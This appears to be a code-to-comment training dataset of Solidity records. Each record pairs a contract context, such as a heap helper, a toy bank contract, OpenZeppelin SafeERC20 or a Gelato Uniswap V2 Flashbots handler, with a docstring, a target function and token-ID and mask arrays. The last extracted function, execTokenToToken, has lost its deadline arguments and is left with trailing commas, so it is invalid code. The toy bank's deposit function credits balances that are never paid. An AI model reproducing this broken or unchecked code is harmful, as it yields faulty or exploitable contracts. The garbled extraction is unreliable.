} minVal = slot.get(minIdx); // Find min leaf for (uint256 j = 1; j < lIdx.length; j++) { uint256 cmpIdx = lIdx[j]; if (cmpIdx >= length) { break; //Null pointer, done find minLeaf } uint32 cmpVal = slot.get(cmpIdx); bool c = compare(minVal, cmpVal, compareSelector); // a <= b minIdx = c ? minIdx : cmpIdx; minVal = c ? minVal : cmpVal; } } // Swap with min leaf if (compare(minVal, iVal, compareSelector)) { //minVal <= iVal slot.swap(i, minIdx); i = minIdx; } else { break; // iVal < minVal, min heap invariant preserved } } } }
* @dev Remove heap root and heapify. @param slot storage @param a items per slot @param b leaves @param compareSelector comparison function 4byte selector @return v/
function removeRoot( bytes32 slot, uint256 a, uint256 b, bytes4 compareSelector ) internal returns (uint32 v) { return remove(slot, a, b, compareSelector, 0); }
7,272,018
[ 1, 3288, 10500, 1365, 471, 10500, 1164, 18, 225, 4694, 2502, 225, 279, 1516, 1534, 4694, 225, 324, 15559, 225, 3400, 4320, 5826, 445, 1059, 7229, 3451, 327, 331, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1206, 2375, 12, 203, 3639, 1731, 1578, 4694, 16, 203, 3639, 2254, 5034, 279, 16, 203, 3639, 2254, 5034, 324, 16, 203, 3639, 1731, 24, 3400, 4320, 203, 565, 262, 2713, 1135, 261, 11890, 1578, 331, 13, 288, 203, 3639, 327, 1206, 12, 14194, 16, 279, 16, 324, 16, 3400, 4320, 16, 374, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// This needs to be the first line. pragma solidity ^0.4.18; // give your contract a name contract SotoLABbank { // this declares a key/value array called balanceAccount. // the key is address and the value is an unsigned integer mapping (address => uint) balanceAccount; // declare a deposit function that takes an input called amount function deposit(uint amount) public { // add amount to the balance of the sender balanceAccount[msg.sender] += amount; } // a getBalance function that accepts no inputs but returns // the amount in the balanceAccount array function getBalance() returns (uint balance){ return balanceAccount[msg.sender]; } }
add amount to the balance of the sender
function deposit(uint amount) public { balanceAccount[msg.sender] += amount; }
7,324,996
[ 1, 1289, 3844, 358, 326, 11013, 434, 326, 5793, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 12, 11890, 3844, 13, 1071, 288, 203, 3639, 11013, 3032, 63, 3576, 18, 15330, 65, 1011, 3844, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xBdA22E56b01dEc3462714f48224967167a5D0124/sources/contracts/Viper.sol
splitter doesn't need to be checked because it's checked in _setDefaultRoyalty
splitter = splitter_;
17,154,951
[ 1, 4939, 387, 3302, 1404, 1608, 358, 506, 5950, 2724, 518, 1807, 5950, 316, 389, 542, 1868, 54, 13372, 15006, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 21553, 273, 21553, 67, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; import { IERC20, SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {GelatoString} from "../../lib/GelatoString.sol"; import { IUniswapV2Router02 } from "../../interfaces/uniswap/IUniswapV2Router02.sol"; import {ETH} from "../../constants/Tokens.sol"; function _swapExactXForX( address WETH, // solhint-disable-line var-name-mixedcase IUniswapV2Router02 _uniRouter, uint256 _amountIn, uint256 _amountOutMin, address[] memory _path, address _to, uint256 _deadline ) returns (uint256) { if (_path[0] == ETH) { _path[0] = WETH; return _swapExactETHForTokens( _uniRouter, _amountIn, _amountOutMin, _path, _to, _deadline ); } SafeERC20.safeIncreaseAllowance( IERC20(_path[0]), address(_uniRouter), _amountIn ); if (_path[_path.length - 1] == ETH) { _path[_path.length - 1] = WETH; return _swapExactTokensForETH( _uniRouter, _amountIn, _amountOutMin, _path, _to, _deadline ); } return _swapExactTokensForTokens( _uniRouter, _amountIn, _amountOutMin, _path, _to, _deadline ); } function _swapExactETHForTokens( IUniswapV2Router02 _uniRouter, uint256 _amountIn, uint256 _amountOutMin, address[] memory _path, // must be ETH-WETH SANITIZED! address _to, uint256 _deadline ) returns (uint256 amountOut) { try _uniRouter.swapExactETHForTokens{value: _amountIn}( _amountOutMin, _path, _to, _deadline ) returns (uint256[] memory amounts) { amountOut = amounts[amounts.length - 1]; } catch Error(string memory error) { GelatoString.revertWithInfo(error, "_swapExactETHForTokens:"); } catch { revert("_swapExactETHForTokens:undefined"); } } function _swapExactTokensForETH( IUniswapV2Router02 _uniRouter, uint256 _amountIn, uint256 _amountOutMin, address[] memory _path, // must be ETH-WETH SANITIZED! address _to, uint256 _deadline ) returns (uint256 amountOut) { try _uniRouter.swapExactTokensForETH( _amountIn, _amountOutMin, _path, _to, _deadline ) returns (uint256[] memory amounts) { amountOut = amounts[amounts.length - 1]; } catch Error(string memory error) { GelatoString.revertWithInfo(error, "_swapExactTokensForETH:"); } catch { revert("_swapExactTokensForETH:undefined"); } } function _swapExactTokensForTokens( IUniswapV2Router02 _uniRouter, uint256 _amountIn, uint256 _amountOutMin, address[] memory _path, // must be ETH-WETH SANITIZED! address _to, uint256 _deadline ) returns (uint256 amountOut) { try _uniRouter.swapExactTokensForTokens( _amountIn, _amountOutMin, _path, _to, _deadline ) returns (uint256[] memory amounts) { amountOut = amounts[amounts.length - 1]; } catch Error(string memory error) { GelatoString.revertWithInfo(error, "_swapExactTokensForTokens:"); } catch { revert("_swapExactTokensForTokens:undefined"); } } function _swapTokensForExactETH( IUniswapV2Router02 _uniRouter, uint256 _amountOut, uint256 _amountInMax, address[] memory _path, // must be ETH-WETH SANITIZED! address _to, uint256 _deadline ) returns (uint256 amountIn) { SafeERC20.safeIncreaseAllowance( IERC20(_path[0]), address(_uniRouter), _amountInMax ); try _uniRouter.swapTokensForExactETH( _amountOut, _amountInMax, _path, _to, _deadline ) returns (uint256[] memory amounts) { return amounts[0]; } catch Error(string memory error) { GelatoString.revertWithInfo(error, "_swapTokensForExactETH:"); } catch { revert("_swapTokensForExactETH:undefined"); } } pragma solidity 0.8.7; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IUniswapV2Router02 } from "../../interfaces/uniswap/IUniswapV2Router02.sol"; import { _swapExactTokensForTokens } from "../../functions/uniswap/FUniswapV2.sol"; /// @notice Custom Handler for token -> token UniswapV2 swaps /// @dev ONLY compatible with Flashbots LimitOrdersModule contract UniswapV2HandlerFlashbots { address public immutable flashbotsModule; // solhint-disable var-name-mixedcase address public immutable WETH; IUniswapV2Router02 public immutable UNI_ROUTER; // solhint-enable var-name-mixedcase struct SimulationData { address[][] routerPaths; address[][] routerFeePaths; uint256[] inputAmounts; uint256[] minReturns; uint256[] totalFees; } constructor( address _flashbotsModule, // solhint-disable-next-line func-param-name-mixedcase, var-name-mixedcase address _WETH, IUniswapV2Router02 _uniRouter ) { flashbotsModule = _flashbotsModule; WETH = _WETH; UNI_ROUTER = _uniRouter; } function execTokenToToken( address[] calldata routerPath, address[] calldata routerFeePath, uint256 totalFee, uint256 minReturn, address owner ) external { require( msg.sender == flashbotsModule, "UniswapV2HandlerFlashbots#execTokenToToken: ONLY_MODULE" ); require( routerPath[0] == routerFeePath[0], "UniswapV2HandlerFlashbots#execTokenToToken: TOKEN_IN_MISMATCH" ); // Assumes msg.sender already transferred inputToken IERC20 inputToken = IERC20(routerPath[0]); uint256 amountIn = inputToken.balanceOf(address(this)); require( amountIn > 0, "UniswapV2HandlerFlashbots#execTokenToToken AMOUNT_IN_ZERO" ); inputToken.approve(address(UNI_ROUTER), amountIn); // Get WETH totalFee and send to module uint256 feeAmountIn = UNI_ROUTER.swapTokensForExactTokens( totalFee, amountIn, routerFeePath, msg.sender, block.timestamp + 1 // solhint-disable-line not-rely-on-time )[0]; // Exec swap and send to owner UNI_ROUTER.swapExactTokensForTokens( amountIn - feeAmountIn, minReturn, routerPath, owner, block.timestamp + 1 // solhint-disable-line not-rely-on-time ); } /** * @notice Check whether can execute an array of orders * @param simulationData - Struct containing relevant data for all orders * @return results - Whether or not each order can be executed */ function multiCanExecute(SimulationData calldata simulationData) external view returns (bool[] memory results) { results = new bool[](simulationData.routerPaths.length); for (uint256 i = 0; i < simulationData.routerPaths.length; i++) { uint256 _inputAmount = simulationData.inputAmounts[i]; if (simulationData.routerPaths[i][0] == WETH) { results[i] = (_inputAmount <= simulationData.totalFees[i]) ? false : (_getAmountOut( _inputAmount - simulationData.totalFees[i], simulationData.routerPaths[i] ) >= simulationData.minReturns[i]); } else if ( simulationData.routerPaths[i][ simulationData.routerPaths[i].length - 1 ] == WETH ) { uint256 bought = _getAmountOut( _inputAmount, simulationData.routerPaths[i] ); results[i] = (bought <= simulationData.totalFees[i]) ? false : (bought >= simulationData.minReturns[i] + simulationData.totalFees[i]); } else { // Equivalent totalFee amount in terms of inputToken uint256 _feeInputAmount = UNI_ROUTER.getAmountsIn( simulationData.totalFees[i], simulationData.routerFeePaths[i] )[0]; if (_inputAmount > _feeInputAmount) { uint256 bought = _getAmountOut( _inputAmount - _feeInputAmount, simulationData.routerPaths[i] ); results[i] = (bought >= simulationData.minReturns[i]); } } } } function _getAmountOut(uint256 _amountIn, address[] memory _path) private view returns (uint256 amountOut) { uint256[] memory amountsOut = UNI_ROUTER.getAmountsOut( _amountIn, _path ); amountOut = amountsOut[amountsOut.length - 1]; } } // "SPDX-License-Identifier: GPL-3.0" pragma solidity 0.8.7; interface IUniswapV2Router02 { function swapExactETHForTokens( uint256 minAmountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 minAmountOut, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForTokens( uint256 amountIn, uint256 minAmountOut, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function factory() external pure returns (address); // solhint-disable-next-line func-name-mixedcase function WETH() external pure returns (address); } // "SPDX-License-Identifier: GPL-3.0" pragma solidity 0.8.7; library GelatoString { function revertWithInfo(string memory _error, string memory _tracingInfo) internal pure { revert(string(abi.encodePacked(_tracingInfo, _error))); } function prefix(string memory _second, string memory _first) internal pure returns (string memory) { return string(abi.encodePacked(_first, _second)); } function suffix(string memory _first, string memory _second) internal pure returns (string memory) { return string(abi.encodePacked(_first, _second)); } }
Assumes msg.sender already transferred inputToken Get WETH totalFee and send to module Exec swap and send to owner
function execTokenToToken( address[] calldata routerPath, address[] calldata routerFeePath, uint256 totalFee, uint256 minReturn, address owner ) external { require( msg.sender == flashbotsModule, "UniswapV2HandlerFlashbots#execTokenToToken: ONLY_MODULE" ); require( routerPath[0] == routerFeePath[0], "UniswapV2HandlerFlashbots#execTokenToToken: TOKEN_IN_MISMATCH" ); IERC20 inputToken = IERC20(routerPath[0]); uint256 amountIn = inputToken.balanceOf(address(this)); require( amountIn > 0, "UniswapV2HandlerFlashbots#execTokenToToken AMOUNT_IN_ZERO" ); inputToken.approve(address(UNI_ROUTER), amountIn); uint256 feeAmountIn = UNI_ROUTER.swapTokensForExactTokens( totalFee, amountIn, routerFeePath, msg.sender, )[0]; UNI_ROUTER.swapExactTokensForTokens( amountIn - feeAmountIn, minReturn, routerPath, owner, ); }
11,975,309
